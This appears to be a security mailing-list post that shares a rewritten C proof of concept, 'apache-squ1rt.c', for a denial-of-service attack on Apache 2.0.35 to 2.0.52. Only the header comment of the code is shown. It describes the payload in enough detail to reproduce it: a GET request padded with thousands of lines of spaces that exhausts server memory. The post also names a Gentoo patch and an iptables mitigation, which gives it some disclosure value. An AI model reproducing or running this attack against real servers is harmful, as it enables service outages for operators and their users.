Like Mauro, I also rewrote the exploit for Linux and couldn't get it
to work at first. But I looked at it a little more and found it was
because Gentoo already had it patched. It looks like most of the
other vendors are also already on the ball with this one. So, as long
as it works, here it is:
apache-squ1rt.c:
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
[EMAIL PROTECTED]
[EMAIL PROTECTED]
Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times
Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.
This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch
v2
Rewritten to use pthread.
